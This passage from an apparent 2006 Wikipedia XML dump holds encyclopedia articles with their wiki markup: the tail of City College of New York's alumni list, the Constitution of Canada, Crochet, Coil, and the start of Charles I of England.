*[[Walter Mosley]] 1991 MA, best-selling author whose novels about [[private investigator|private eye]] [[Easy Rawlins]] have received [[Edgar Award|Edgar]] and [[Golden Dagger Award|Golden Dagger]] Awards.
*[[Michael Oreskes]] 1975 - Executive Editor of The [[International Herald Tribune]]
*[[Edward G. Robinson]] 1914 - actor
*[[A.M. Rosenthal]] 1949, former Executive Editor of The New York Times.
*[[Richard Schiff]] 1983 - [[Emmy]] award winning actor and a star of ''[[The West Wing (television)|The West Wing]]''.
*[[Eli Wallach]] 1938 (MA) - actor
*[[Upton Sinclair]] 1897 (BA) - Author ( ''The Jungle (1906)'' )
*[[Bernard Malamud]] 1936 (BA) - Author ( ''The Natural (1952)'' )
*[[William Gati, AIA]] 1981,1982,1984 (BS, BArch, MArch) - Architect and Educator
*[[Ernest Lehman]] 1937 (BS) - Screenwriter (&quot;[[North by Northwest]], &quot;[[The Sound of Music]]&quot;, &quot;[[Sweet Smell Of Success]]&quot;, &quot;[[Who's Afraid Of Virginia Woolf|Who's Afraid Of Virginia Woolf?]]&quot;)

===Science and technology===
*[[Solomon Asch]] - psychologist, known for the [[Asch conformity experiments]]
*[[Julius Blank]] - engineer, member of the [[Traitorous Eight]] that founded [[Silicon Valley]] 
*[[Adin Falkoff]] - engineer, computer scientist, co-inventor of the [[APL language]] interactive system
*[[George Washington Goethals]] 1887 - [[civil engineer]], best known for his supervision of construction and the opening of the [[Panama Canal]]
*[[Dan Goldin]] - served as the 9th and longest-tenured administrator of [[NASA]].
*[[Robert E. Kahn]] - [[Internet]] pioneer, co-inventor of the [[Internet protocol suite|TCP/IP]] protocol, co-recipient of the [[Turing Award]] in 2004.
*[[Leonard Kleinrock]] 1957 - Internet pioneer
*[[Solomon Kullback]]  - Mathematician; NSA cryptology pioneer
*[[Michael A. Liguori]] 1979 - listed among the New York area's 100 best primary care doctors by [[New York Magazine]].
*[[Albert Medwin]] 1949 BSEE - engineer and inventor, developed [[CMOS]] integrated circuit technology
*[[Lewis Mumford]] - historian of technology
*[[Charles Lane Poor]] - noted astronomer
*[[Howard Rosenblum]] 1950 BSEE  - NSA Engineer; developer of the STU (Secure Telephone Unit)
*[[Mario Runco, Jr.]] 1974 - astronaut.
*[[Jonas Salk]] 1934 - inventor of the Salk [[vaccine]] (see [[polio vaccine]])
*[[Abraham Sinkov]] - Mathematician; NSA (National Security Agency) cryptology pioneer
*[[David B. Steinman]] 1906 - engineer; bridge designer (Class 1906)
*[[Leonard Susskind]] 1962 - physicist, string theory

===Business===
*[[Robert Catell]] 1958 - CEO of KeySpan.
*[[Andy Grove]] 1960 - 4th employee of [[Intel]], and eventually its president, CEO, and chairman, and [[TIME magazine]]'s [[Man of the Year]] in [[1997]]
*[[Stanley H. Kaplan]] 1939 - founded [[Kaplan Educational Services]].
*[[Jack Rudin]] 1941 - real estate developer.
*[[Frank J. Sciame]] 1974 - architect and developer
*[[Linda Kaplan Thaler]] 1972, the CEO of the fastest growing ad agency in New York, brought us the Aflac Duck.

===Sports===
*[[Red Holzman]] 1948 - legendary [[basketball]] coach for the [[New York Knicks]].

==Footnotes==
* {{ent|1|Nobel1}} see article [[Nobel Prize laureates by university affiliation]]

==References==
* S. Willis Rudy, ''College of the City of New York 1847-1947'', 1949.
* Paul David Pearson, ''The City College of New York: 150 years of academic architecture'', 1997.

==External links==
*[http://www.ccny.cuny.edu/ Official website]
*[http://www.ccny.cuny.edu/library/onlinexhibits.html City College  Library Historical CCNY Exhibits]
*[http://origin.admin.ccny.cuny.edu/library/exhibitions/lostworld/ The Lost World of CCNY exhibit at CCNY Library]
*[http://www.ccny.cuny.edu/public_safety/FUN_STUFF.HTML Old CCNY photographs and memorabilia]
*[http://www.ccnycampus.com/ The Campus] - Student Newspaper
*[http://www.pbs.org/arguing/ Arguing the World] - [[PBS]] documentary about the &quot;[[New York Intellectuals]],&quot; who came of age at City College
*[http://www1.ccny.cuny.edu/advancement/pr/Andrew-Grove-Donation.cfm Press release regarding Dr. Andrew Grove's 2005 donation of $26,000,000 to the Engineering School]
*[http://www.economist.com/world/na/displaystory.cfm?story_id=5417329 Economist article on emerging 'elitism' at the City University of New York.]
{{CUNY}}
[[Category:City University of New York]]
[[Category:1847 establishments]]

[[ja:ニューヨーク市立大学シティカレッジ]]
[[zh:纽约市立学院]]</text>
    </revision>
  </page>
  <page>
    <title>Constitution of Canada</title>
    <id>7411</id>
    <revision>
      <id>41342302</id>
      <timestamp>2006-02-26T18:47:29Z</timestamp>
      <contributor>
        <username>Gbambino</username>
        <id>187401</id>
      </contributor>
      <comment>/* Unwritten Sources of the Canadian Constitution */ clarifying Can. crown vs. British crown</comment>
      <text xml:space="preserve">{{Canadian politics}}
The '''[[Constitution]] of [[Canada]]''' is the supreme law in Canada. It is an amalgam of codified [[act]]s and [[uncodified constitution|uncodified]] traditions and [[constitutional convention (political custom)|convention]]s. It outlines Canada's [[system of government]], as well as the [[civil rights]] of all Canadian citizens. 

The composition of the Constitution of Canada is defined in section 52(2) of the [[Constitution Act, 1982]] as consisting of the [[Canada Act 1982]] (including the Constitution Act, 1982), all acts and orders referred to in the schedule (including the [[Constitution Act, 1867]]), and any amendments to these documents. Effectively, this includes all British legislation that predates or modifies the [[British North America Act]]{{ref|ConstList}}. The [[Supreme Court of Canada]] held that the list is not exhaustive and includes unwritten doctrines as well {{ref|NBBC}}. Nevertheless, almost all constitutional [[jurisprudence]] focuses on the Constitution Act, 1867, the Constitution Act, 1982, including the [[Charter of Rights and Freedoms]], and the so-called &quot;unwritten constitution&quot;. 

== History of the Constitution ==
{{seealso|Constitutional history of Canada}}

The first semblance of a Constitution for Canada was the [[Royal Proclamation of 1763]]. The Act renamed Canada &quot;The Province of Quebec&quot; and redefined its borders and established a British-appointed colonial government. The proclamation was considered as the de facto constitution of Quebec until 1774 when the British government passed the [[Quebec Act]] of 1774 which set out many procedures of governance in the area of Quebec. It extended the boundaries of the colony and adopted the British criminal code among other things.

The colony of Canada received its first full constitution in the [[Constitutional Act of 1791]] which established much of the composition of the government. This was later superseded by the British North America Act in 1867 which established the Dominion of Canada.

In [[1931]], the British Parliament passed the [[Statute of Westminster, 1931]] (22 Geo. V, c.4 (U.K.)). This Act gave all dominion countries equal legislative authority with the United Kingdom. This was followed up in [[1982]], when the British Parliament passed the '''[[Canada Act 1982|Canada Act, 1982]]''' ((U.K.) 1982, c.11) giving up all remaining constitutional and legislative ties to Canada and accepted as law the Constitution Act of 1982.  The Constitution Act of 1982 was enacted as Schedule B (i.e. appendix B) of the Canada Act of 1982.

With the introduction of the Canada Act and the accompanying Charter, much of Constitutional law in Canada has changed. The Canada Act has entrenched many constitutional conventions and has made amendments significantly more difficult (see [[Amendments to the Constitution of Canada|amendment formula]]). The Charter has shifted the focus of the Constitution to individual and collective rights of the inhabitants of Canada. Before the enactment of the Canadian Charter of Rights and Freedoms in [[1982]], civil rights and liberties had no solid constitutional protection in Canada.  Whenever one level of government passed a law that seemed oppressive to civil rights and liberties, Canadian constitutional lawyers had to argue creatively, such as by saying that the oppressive law violates division of federal and provincial powers or by citing some other technical flaw that had little to do with the concept of civil rights and liberties.  Since 1982, however, the Charter has become the most often cited part of the Constitution and has thus far solidified the protection of rights for people in Canada.
[[Image:Fathersofconfederation.jpg|frame|150px|left|A painting depicting negotiations that would lead to the enactment of the [[Constitution Act, 1867|British North America Act, 1867]]]]

==Constitution Act, 1867==
{{seealso|Constitution Act, 1867}}

This was an Act of the British Parliament, originally called the British North America Act 1867, that created the Dominion of Canada out of three separate provinces in British North America and allowed for subsequent provinces and colonies to join this union in the future.  It outlined Canada's system of government, which combines Britain's Westminster model of parliamentary government with division of powers ([[Canadian federalism|federalism]]).  Although it is one of many ''[[British North America Acts]]'' to come, it is still the most famous of these and is understood to be the document of Canadian Confederation (i.e. union of provinces and colonies in British North America).  With the patriation of the Constitution in 1982, this Act was renamed '''Constitution Act, 1867'''. In recent years, the Constitution Act, 1867 has mainly served as the basis on which the division of powers between the provinces and federal government have been analyzed.

==Constitution Act, 1982==
{{seealso|Constitution Act, 1982}}
[[Image:Canada Act signing.jpg|right|thumb|300px|The [[Constitution Act, 1982]], which included the [[Canadian Charter of Rights and Freedoms]], was brought into force in [[Ottawa]] on [[April 17]], [[1982]].]]
This was an Act by the Canadian Parliament requesting full political independence from Britain.  Part V of this Act created a constitution-amending formula that did not require an Act by the British Parliament.  Further, Part I of this Act is the [[Canadian Charter of Rights and Freedoms]] which outlines the civil rights and liberties of every citizen in Canada, such as freedom of expression, of religion, of mobility, etc.  Part II deals with the rights of Canada's Aboriginal peoples.  

===Canadian Charter of Rights and Freedoms===
{{seealso|Canadian Charter of Rights and Freedoms}}  
As noted above, this is Part I of the Constitution Act, 1982. The Charter is the constitutional guarantee of collective and individual rights. It is a relatively short document and written in plain language in order to ensure accessibility to the average citizen. It is said that it is the part of the constitution that has the greatest impact on Canadians' day-to-day lives, and has been the fastest developing area of constitutional law for many years.

===Amending formula ===
{{seealso|Amendments to the Constitution of Canada}}
With the Constitution Act, 1982, amendments to the constitution must be done in accordance with Part V of the Constitution Act, 1982 which provides for five different amending formulas. Amendments can be brought forward under section 46(1) by any province or either level of the federal government. The general formula is set out in section 38(1), known as the &quot;7/50 formula&quot;, requires: (a) assent from both the House of Commons and the Senate; (b) the approval of two-thirds of the provincial legislatures (at least seven provinces), representing at least 50% of the population (effectively, this would include at least Quebec or Ontario, as they are the most populous provinces). This formula specifically applies to amendments related to the proportionate representation in Parliament, powers, selection, and composition of the Senate, the Supreme Court, the addition of provinces or territories.
The other amendment formulas are for exceptional cases as provided by in the Act: 
*In the case of an amendment related to the Office of the Queen, the number of senators, the use of either official language (subject to section 43), or the composition of the Supreme Court, the amendment must be adopted by unanimous consent of all the provinces in accordance with section 41. 
*However, in the case of an amendment related to provincial boundaries or the use of an official language within a province alone, the amendment must be passed by the legislatures affected by the amendment (section 43).
*In the case of an amendment that affects the federal government alone, the amendment does not need approval of the provinces (section 44). The same applies to amendments affecting the provincial government alone (section 45).

== Unwritten Sources of the Canadian Constitution ==
The existence of an unwritten constitution was reaffirmed by the Supreme Court in ''[[Reference re Secession of Quebec]]''.
&lt;blockquote&gt;
''The Constitution is more than a written text. It embraces the entire global system of rules and principles which govern the exercise of constitutional authority. A superficial reading of selected provisions of the written constitutional enactment, without more, may be misleading.''
&lt;/blockquote&gt;

In practice, there have been three sources of constitutional law:

'''Conventions:''' Constitutional conventions form part of the Constitution, but they are not legally enforceable. They include the existence of the Prime Minister and Parliamentary Cabinet, the fact that the Governor General is required to give assent to Bills, and the requirement that the Prime Minister call an election upon losing a vote of non-confidence.

'''Royal Prerogative:''' Reserve powers of the [[Monarchy in Canada|Canadian Crown]]; being remnants of the powers once held by the British Crown, reduced over time by the Parliamentary system. Primarily, these are the [[Order-in-Council|Orders-in-Council]] which give the Government the authority to declare war, conclude treaties, issue passports, make appointments, make regulations, incorporate, and receive lands that escheat to the Crown.

'''Unwritten Principles:''' Principles that are incorporated into the Canadian Constitution by reference from the preamble of the ''Constitution Act, 1867''. Unlike conventions, they are legally binding. Amongst the recognized Constitutional principles are federalism, democracy, constitutionalism and the [[rule of law]], and respect for minorities{{ref|secession}}. Other principles include [[responsible government]] and judicial independence.

== External links ==
{{wikibookspar||Canadian_law:Constitutional_law}}

* [http://laws.justice.gc.ca/en/const/ Full text of the Constitution]
* [http://www.canadiana.org/citm/ Canada in the Making] - a comprehensive history of the Canadian Constitution with digitized primary sources.
* [http://www.solon.org/Constitutions/Canada/English/Proposals/MeechLake.html Meech Lake Accord, 1987]
* [http://www.solon.org/Constitutions/Canada/English/Proposals/CharlottetownConsensus.html Charlottetown Accord, 1992]
* [http://www.solon.org/Constitutions/Canada/English/Proposals/charlottetown-res.html Results of Referendum on the Charlottetown Accord, 1992]

== Reference ==
#{{note|ConstList}} see [[list of Canadian constitutional documents]] for details.
#{{note|NBBC}} ''[[New Brunswick Broadcasting Co. v. Nova Scotia (Speaker of the House of Assembly)|New Brunswick Broadcasting Co. v. Nova Scotia]]'' [1993] 1 S.C.R. 319
#{{note|secession}} these were identified in [[Reference re Secession of Quebec]] [1998] 2 S.C.R. 217 

{{Constitution of Canada}}

[[Category:Constitution of Canada| ]]
[[fr:Constitution du Canada]]
[[pl:Konstytucja Kanady]]
[[pt:Constituição do Canadá]]</text>
    </revision>
  </page>
  <page>
    <title>Constitution of Canada/1867 Preamble</title>
    <id>7412</id>
    <revision>
      <id>40082053</id>
      <timestamp>2006-02-18T00:17:44Z</timestamp>
      <contributor>
        <username>CanadianCaesar</username>
        <id>290432</id>
      </contributor>
      <comment>#REDIRECT [[Constitution Act, 1867]]</comment>
      <text xml:space="preserve">#REDIRECT [[Constitution Act, 1867]]</text>
    </revision>
  </page>
  <page>
    <title>Constitution of Canada/1867 I Preliminary</title>
    <id>7413</id>
    <revision>
      <id>40082083</id>
      <timestamp>2006-02-18T00:17:59Z</timestamp>
      <contributor>
        <username>CanadianCaesar</username>
        <id>290432</id>
      </contributor>
      <comment>#REDIRECT [[Constitution Act, 1867]]</comment>
      <text xml:space="preserve">#REDIRECT [[Constitution Act, 1867]]</text>
    </revision>
  </page>
  <page>
    <title>Constitution of Canada/1867 II Union</title>
    <id>7414</id>
    <revision>
      <id>40082116</id>
      <timestamp>2006-02-18T00:18:13Z</timestamp>
      <contributor>
        <username>CanadianCaesar</username>
        <id>290432</id>
      </contributor>
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    <title>Constitution of Canada/1867 IV Legislative Power</title>
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    <title>Constitution of Canada/1867 V Provincial Constitutions</title>
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    <title>Constitution of Canada/1867 VII Judicature</title>
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  <page>
    <title>Crochet</title>
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      <text xml:space="preserve">[[Image:Crohook.jpg|thumb|Crochet Hooks]]
The word '''''crochet''''' is derived from the Middle French word ''croc'' or ''croche,'' meaning ''hook.''  It describes the process of creating fabric from a length of cord, [[yarn]], or thread with a [[Crochet hook|Crochet hook]].  The origin of the crochet technique is a subject of considerable controversy. The word is not to be confused with &quot;crotchet&quot;, otherwise known as a [[quarter note]].


Crocheted fabric in the modern sense is begun by placing a [[slip-knot]] loop on the hook, pulling another loop through the first loop, and so on to create a chain.  The chain is either turned and worked in rows, or joined end-to-end and worked in rounds. Rounds can also be created by working many stitches into a single loop. Stitches are made by pulling one or more loops through each loop of the chain. This method distinguishes crochet from other methods of fabric-making such as [[knitting]], as it is composed entirely of loops made with a single hook and is only secured when the free end of the strand is pulled through the final loop.

==Origins==

Some theorize that crochet evolved from traditional practices in [[Arabia]], [[South America]], or [[China]], but there is no decisive evidence of the craft being performed before its popularity in [[Europe]] during the [[1800s]].  Many find it likely that crochet was in fact used by early cultures but that a bent forefinger was used in place of a fashioned hook; therefore, there were no artifacts left behind to attest to the practice. These writers point to the &quot;simplicity&quot; of the technique and claim that it &quot;must&quot; have been early.  

Other writers point out that woven, knit and knotted textiles survive from very early periods, but that there are no surviving samples of crocheted fabric in any [[ethnology|ethnological]] collection, or [[archeology|archeological]] source prior to 1800.  These writers point to the [[tambour hooks]] used in [[tambour]] [[embroidery]] in [[France]] in the [[seventeenth century]], and contend that the hooking of loops through fine fabric in tambour work evolved into &quot;crochet in the air.&quot;  Most samples of early work claimed to be crochet turn out to actually be samples of [[naalebinding]].

Beginning in the [[1800s]] in [[Europe]], crochet began to be used as a less costly substitute for other forms of [[lace]]. It required minimal equipment and supplies, all easily accessible to persons of all social classes. At this time, thread spun from natural fibers was used without dyeing, and worked with handmade hooks of ivory, brass, or hardwood.  Those that survive to this day are often ornately carved or inlaid with mother-of-pearl.

==Early history==
Around the world, crochet became a thriving cottage industry, supporting communities whose traditional livelihoods had been displaced by imperialism.  The finished items were purchased mainly by the emerging middle class.  The introduction of crochet as an imitation of a [[status symbol]], rather than a unique craft in its own right, had stigmatized the practice as common.  Those who could afford lace made by older and more expensive methods disdained crochet as a cheap copy.  This impression was partially mitigated by [[Victoria of the United Kingdom|Queen Victoria]], who conspicuously purchased Irish-made crochet lace and even learned to crochet herself.  Irish crochet lace was boosted by Mlle. [[Riego de la Branchardiere]] around 1845 who published patterns and instructions for reproducing [[bobbin lace]] and [[needle lace]] via crochet. 

From 1800 to 1950, crochet was done almost exclusively in thread.  Crochet in the round or filet crochet, worked in rows of 'open' or 'closed' mesh to create patterns, were most common.  Mass-produced steel hooks were used to work the thread beginning in about 1900.

==Modern practice==
In the [[1950s]], [[crocheters]] began to use thicker yarns to create less delicate clothing and home items, though thread crocheting remained more popular until about 1960.  The craft remained primarily a homemaker's art until the late [[1960s]] when the younger generation picked up on crochet.  Often using granny squares, a motif worked in the round, and incorporating bright colors, these designs became indicative of the era.

Although crochet underwent a subsequent decline in popularity, it has recently benefited from a revival of interest in handcrafts among the younger generation, as well as great strides in improvement of the quality and varieties of yarn.

The following types of crochet are derived from the basic method:

* [[Filet crochet]]
* [[Tunisian crochet]]
* [[Broomstick lace]]
* [[Hairpin lace]]
* [[Cro-hook]]
* [[Irish crochet]]

==References==

* A living mystery : the international art &amp; history of crochet by Annie Louise Potter 
* Crochet: History &amp; Technique by Lis Paludan
* &quot;Handmade Lace &amp; Patterns&quot; by Annette Feldman

==External links==
*Crochet Communities, Tutorials, and Basic Information
** [http://www.crochet.org Crochet Guild of America] 
** [http://www.crochetville.org/ Crochetville] Message Board
** [http://www.chezcrochet.com/page0002.html ChezCrochet] How-to's
** [http://www.crochetcabana.com Crochet Cabana] How-to's
** [http://crochetnmore.com/123basics.htm CrochetnMore] Crochet Basics
**[http://journals.aol.com/crochetwithdee/CrochetWithDee Crochet With Dee] Blog
** [http://www.crochetpartners.org/ Crochet Partners] Community
** [http://www.anniesattic.com/crochet/content.html?type_id=S Annie's Attic] Stitching Help
** [http://crochet.about.com/ Crochet About]
** [http://www.halfknits.com/ Halfknits - Crocheting for Charity]
*Free Crochet Patterns
** [http://www.crochetpatterncentral.com/directory.php Crochet Pattern Central] Directory
** [http://www.smartcrochet.com Smart Crochet]
** [http://www.marloscrochetcorner.com/patterns.html Marlo's Crochet Corner]
** [http://www.bevscountrycottage.com/patterns.html Bev's Country Cottage]
** [http://home.inreach.com/marthac/links.html Martha's Crochet &amp; Craft links]
** [http://www.craftbits.com/viewCategory.do?categoryID=NED CraftBits]
** [http://www.geocities.com/crotiques/patterns.htm Crotiques] 
** [http://www.modadea.com/designs.htm Moda Dea] 
** [http://www.freevintagecrochet.com/ Free Vintage Crochet]
** [http://www.craftown.com/crochet.htm Craftown]
** [http://www.lionbrand.com/content-crochetPatternIndex.html Lion Brand]
** [http://www.freepatterns.com/ FreePatterns.com]
** [http://www.crochettreasures.com/freepatterns/archives.htm Crochet Treasures]

[[Category:Crochet]]

[[da:Hækling]]
[[de:Häkeln]]
[[eo:Kroĉetado]]
[[nl:Haken]]
[[nn:Hekling]]
[[fi:Virkkaus]]
[[sv:Virkning]]</text>
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  <page>
    <title>Coil</title>
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      <text xml:space="preserve">{{otheruses}}
: ''The term &quot;Coil&quot; is a part some names and ideas, see below for [[Coil#Other uses|other uses]] or the disambiguation page. 

A '''coil''' is a [[series]] of [[loop]]s.  

==General applications==

[[Image:Ressort de compression.jpg|thumb|180px|A helical spring.]]

A ''coil'' is made of materials, usually rigid, which can be fashioned into a [[spiral]] or [[helix|helical]] shape.  Flexible materials like wire, rope, hose, or cable can also be coiled into empty loops, or wound around a central [[drum]] or [[spindle]].

Some common applications of coils include:

* A ''[[Spring (device)|coil spring]]'' is the most common type of spring.
* A set of [[stair]]s fashioned in a coil shape, which are called [[spiral staircase]]s.
* A [[Slinky]] is a ''coil-shaped'' toy.
* A ''[[coil stamp]]'' is a type of postage stamp sold as strips one stamp wide.
* A ''[[boiler]] coil'' is an element in a [[water heater]].
* ''[[Evaporator coil]]s'' are used in [[air conditioning]] and other [[refrigeration cycle]]s. 
* ''Coil'' is a colloquial term applied to [[contraceptive]] [[intrauterine device]]s.

'''See also''': [[list of coil knots]]

==Electromagnetic==
[[Image:Transformers.png|thumb|Diagram of typical transformer configurations]]
In [[electrical engineering]], an ''electromagnetic coil'' is formed when a metallic or [[Conductor (material)|conductive]] [[wire]] is looped around a core to create an electronic [[inductor]] or [[electromagnet]]. One loop of wire is usually referred to as one ''turn''. A coil consists of one or more turns. For use in an [[electronic circuit]], [[electrical connection]] terminals called taps are often connected to a coil. Coils are often coated with varnish  and/or wrapped with insulating tape to provide additional [[insulator|insulation]] and secure them in place. A completed coil assembly with taps etc. is often called a ''winding''. A [[transformer]] is an electromagnetic device that has a ''primary winding'' and a ''secondary winding'' that transfers energy from one electrical circuit to another by magnetic coupling without moving parts. The term ''tickler coil'' usually refers to a third coil placed in relation to a primary coil and secondary coil.

Some common electromagnetic coils include:
* A ''[[bifilar coil]]'' is a coil that employs two [[Parallel (geometry)|parallel]] windings.
* A ''[[Barker coil]]'' is used in low field [[NMR imaging]].
* A ''[[Braunbeck coil]]'' is used in geomagnetic research.
* A ''[[Degaussing#The_degaussing_coil|degaussing coil]]'' is used in the process of removing [[permanent magnet]]ism (magnetic [[hysteresis]]) from an object.
* A ''[[Choke (electronics)|choke coil]]'' (or ''choking coil'') is low-[[electrical resistance|resistance]] [[inductor]] used to block [[alternating current]] while passing [[direct current]].
* A ''[[Garrett coil]]'' is used in [[metal detector]]s.
* A ''[[Helmholtz coil]]'' is a device for producing a region of nearly uniform [[magnetic field]].
* A ''[[hybrid coil]]'' (or ''[[bridge transformer]]'') is a single transformer that effectively has three windings.
* An ''[[induction coil]]'' (or ''[[ignition coil]]'') is an electrical device in common use as the [[ignition system]] (''ignition coil or spark coil'') of internal-combustion engines.
* A ''[[loading coil]]'' is, in electronics, a coil (inductor) inserted in a circuit to increase its [[inductance]]. Archaically called ''Pupin coils''.
* A ''[[multiple coil magnet]]'' is an [[electromagnet]] that has several coils of wire connected in parallel.
* A ''[[Maxwell coil]]'' is a device for producing almost a constant magnetic field.
* A ''[[Oudin coil]]'' is a disruptive discharge coil.
* The ''[[polyphase coil]]s'' are connected together in a polyphase system such as a generator or motor.
* A ''relay coil'' is the copper winding part of a [[relay]] that produces a magnetic field that actuates the mechanism.
* A ''[[Rogowski coil]]'' is an electrical device for measuring alternating current.
* A ''[[single coil]]'' is a type of pickup for the [[electric guitar]].
* A ''[[solenoid]]'' is a mechanical device, based around a ''coil of wire'', that converts energy into linear motion.
* A ''[[Tesla coil]]'' is category of disruptive discharge coils, usually denoting a resonant transformer that generates very high voltages at radio frequencies.
* A ''[[voice coil]]'' which is mounted to the moving cone of a [[loudspeaker]].


;Further reading
* Querfurth, William, &quot;''Coil winding; a description of coil winding procedures, winding machines and associated equipment for the electronic industry''&quot; (2d ed.). Chicago, G. Stevens Mfg. Co., 1958.
* Weymouth, F. Marten, &quot;''Drum armatures and commutators (theory and practice) : a complete treatise on the theory and construction of drum winding, and of commutators for closed-coil armatures, together with a full résumé of some of the principal points involved in their design; and an exposition of armature reactions and sparking''&quot;. London, &quot;The Electrician&quot; Printing and Publishing Co., 1893. 
* &quot;''Coil winding proceedings''&quot;. International Coil Winding Association.
* Chandler, R. H., &quot;''Coil coating review, 1970-76''&quot;. Braintree, R. H. Chandler Ltd, 1977.

;External articles
* R. Clarke, &quot;''[http://www.ee.surrey.ac.uk/Workshop/advice/coils/ Producing wound components]''&quot;. Surrey.ac.uk, 2005 October 9th.

==Chemistry==

[[Image:NA-comparedto-DNA thymineAndUracilCorrected.png|thumb|180px| RNA coil on the left and DNA coil on the right.]]

In the [[Chemistry|study of how molecules interact with each other]], there are a few specific references to ''organic coils''.  During [[self-assembly]],  organic elements organize to form this structural pattern. Molecular self-assembly assembles the molecules, without guidance or management from an outside source, into these shapes. 

Examples of these structural patterns include:

* A ''[[coiled coil]]'' is a [[structural motif]] found in many proteins.
* The ''[[DNA|DNA coil]]'' is a nucleic acid structure that contains  the [[genetics|genetic]] [[instruction]]s specifying the [[developmental biology|biological development]] of all cellular forms of [[life]] (and many [[virus]]es).
* A ''[[random coil]]'' is a [[polymer]] conformation where the [[monomer]]s are arranged at [[random]].
* The ''[[RNA|RNA coil]]'' is a [[nucleic acid]] structure consisting of a [[string (computer science)|string]] of [[covalent bond|covalently-bound]] [[nucleotide]]s. 


As an acronym, ''COIL'' denotes the [[Chemical Oxygen Iodine Laser]].

==Other uses==

'''Musician names'''

&quot;''Coil''&quot; is, or is part of, the name for some musicians or their albums.

''Name''
* ''[[Coil (band)|Coil]]'' is a British experimental band. 
* ''[[Icon of Coil]]'' is a Norwegian electronic body music band.
* ''[[Lacuna Coil]]'' is an Italian goth heavy metal band.
* ''[[This Mortal Coil]]'' is a British dark cover band.

''Publication''
* ''[[Coil (album)|Coil]]'' is a 1997 album by American band [[Toad the Wet Sprocket]].

==External articles==
{{wiktionarypar|Coil}}
* For the definition of [[Wiktionary:Coil|Coil]] and words related to it, see Wiktionary. 


&lt;!-- In other languages, alphabetically by language (not code) name --&gt;
[[cs:Cívka (rozcestník)]]
[[da:Spole]]
[[de:Spule]]
[[pt:Bobine]]
&lt;!--nihongo--&gt;[[ja:&amp;#24059;&amp;#32218;]]</text>
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    <title>Charles I of England</title>
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| [[Image:Carolus I.jpg|200px|thumb|Charles I, king of England, Scotland, and Ireland.]]
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|{{House of Stuart|arms=[[Image:J1&amp;2,C1&amp;2 Arms.png|150px]]}}
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'''Charles I''' ([[19 November]] [[1600]] &amp;ndash; [[30 January]] [[1649]]) was [[monarch|King]] of [[England]], [[Scotland]], and [[Ireland]] from [[27 March]] [[1625]] until his [[capital punishment|execution]] in 1649.  He famously engaged in a struggle for power with the [[Parliament of England]].  As he was an advocate of the [[Divine Right of Kings]], many in England feared that he was attempting to gain [[political absolutism|absolute power]]. There was widespread opposition to many of his actions, especially the levying of [[tax]]es without Parliament's consent.  He is also the only person to be [[canonized]] by the [[Church of England]] after the [[English Reformation]].

Religious conflicts permeated Charles' reign. He selected his Catholic wife, [[Henrietta Maria]], over the objections of Parliament and public opinion. Charles further allied himself with controversial religious figures, including the ecclesiastic [[Richard Montagu]] and [[William Laud]], whom Charles appointed [[Archbishop of Canterbury]]. Laud produced changes in the liturgy of the [[Church of England]] which many of Charles' subjects felt brought the Church of England too close to [[Roman Catholic Church|Roman Catholicism]]. Charles' later attempts to force religious reforms upon [[Scotland]] led to war that weakened England and helped precipitate his downfall.
 
The last years of Charles' reign were marked by the [[English Civil War]], in which he was opposed by the forces of Parliament&amp;mdash;who challenged his attempts to augment his own power&amp;mdash;and by [[Puritanism|Puritans]], who were hostile to his religious policies. The war ended in defeat for Charles, who was subsequently [[Criminal procedure|tried]], [[conviction (law)|convicted]] and executed for [[high treason]]. The [[British monarchy|monarchy]] was overthrown, and a [[Commonwealth of England|commonwealth]] was established. As time passed this regime became increasingly dependent upon the army and became in effect a [[military dictatorship]]. Various political as well as socio-economic factors led to its collapse. Charles's son, [[Charles II of England|Charles II]], returned to [[English Restoration|restore the monarchy]] in 1660.

==Early life==
Charles, the second son of [[James I of England|James VI, King of Scots]] and [[Anne of Denmark]], was born at [[Dunfermline Palace]] on [[19 November]] [[1600]]. He was an underdeveloped child (he is listed in the ''[[Guinness Book of Records]]'' as the nation's shortest King) who was still unable to walk or talk at the age of three. When [[Elizabeth I of England|Elizabeth I]] died in March 1603 and James VI became King of England as James I, Charles was originally left in Scotland in the care of nurses and servants because it was feared that the journey would damage his fragile health. He did make the journey in July 1604 and was subsequently placed under the charge of Alletta (Hogenhove) Carey, the Dutch-born wife of courtier Sir Robert Carey, who taught him how to walk and talk and insisted that he wear boots made of Spanish leather and brass to help strengthen his weak ankles. As an adult Charles was 5 feet 4 inches (162 cm) tall.

Charles was not as well-regarded as his elder brother, [[Henry Frederick Stuart|Henry]], [[Prince of Wales]]; Charles himself adored Henry and tried to emulate him. In 1605, as was then customary in the case of the Sovereign's second son, he was created [[Duke of York]] in England. Two years before, in 1603, he was created [[Duke of Albany]] in Scotland. When his elder brother died of [[typhoid]] in 1612, Charles became [[heir apparent]] and was subsequently created Prince of Wales and [[Earl of Chester]] in November 1616. His sister Elizabeth married in 1613, making Charles virtually an only child.

The new Prince of Wales was greatly influenced by his father's favourite courtier, [[George Villiers, 1st Duke of Buckingham]], who took him on an expedition to [[Spain]] in 1623 to look for a suitable bride, and settled on the daughter of the Spanish King [[Philip III of Spain|Philip III]], Infanta Maria of Spain. No marriage occurred, however, as the Spanish demanded the Prince of Wales' conversion to Roman Catholicism. Upon their return in October, both the Prince of Wales and the Duke of Buckingham demanded that James I declare war on Spain.

With the encouragement of his Protestant advisors, James summoned Parliament to request subsidies for his war effort. James also requested that Parliament sanction the marriage between the Prince of Wales and Princess [[Henrietta Maria of France]], whom Charles met in [[Paris]] whilst ''en route'' to Spain. It was a good match since she was a sister of [[Louis XIII of France|Louis XIII]] (their father, [[Henry IV of France|Henry IV]], had died during her childhood) . Parliament agreed to the marriage, but was extremely critical of the prior attempt to arrange a marital alliance with Spain. James was growing senile and as a result was finding it extremely difficult to control Parliament&amp;mdash;the same problem would later haunt Charles during his reign. During the last year of his reign, actual power was held not by him but by his eldest son and the Duke of Buckingham.

==Early reign==
Charles ascended the throne in March 1625 and on [[1 May]] of that year was married to Henrietta Maria, nine years his junior, by proxy. His first Parliament, which he opened in May, was opposed to his marriage to Henrietta Maria, a Roman Catholic, because it feared that Charles would lift restrictions on Roman Catholics and undermine the official establishment of Protestantism. Although he agreed with Parliament that he would not relax restrictions relating to recusants, he promised to do exactly that in a secret marriage treaty with [[Louis XIII]]. The couple were married on [[13 June]] [[1625]], in [[Canterbury, Kent|Canterbury]]. Charles was crowned on [[2 February]] [[1626]] at [[Westminster Abbey]], but without his wife at his side due to the controversy. They had nine children, with three sons and three daughters surviving infancy.

[[Image:Van Dyck Charles I.jpg|thumb|200px|[[Anthony Van Dyck|Sir Anthony Van Dyck]]: Charles I painted around 1635.]]

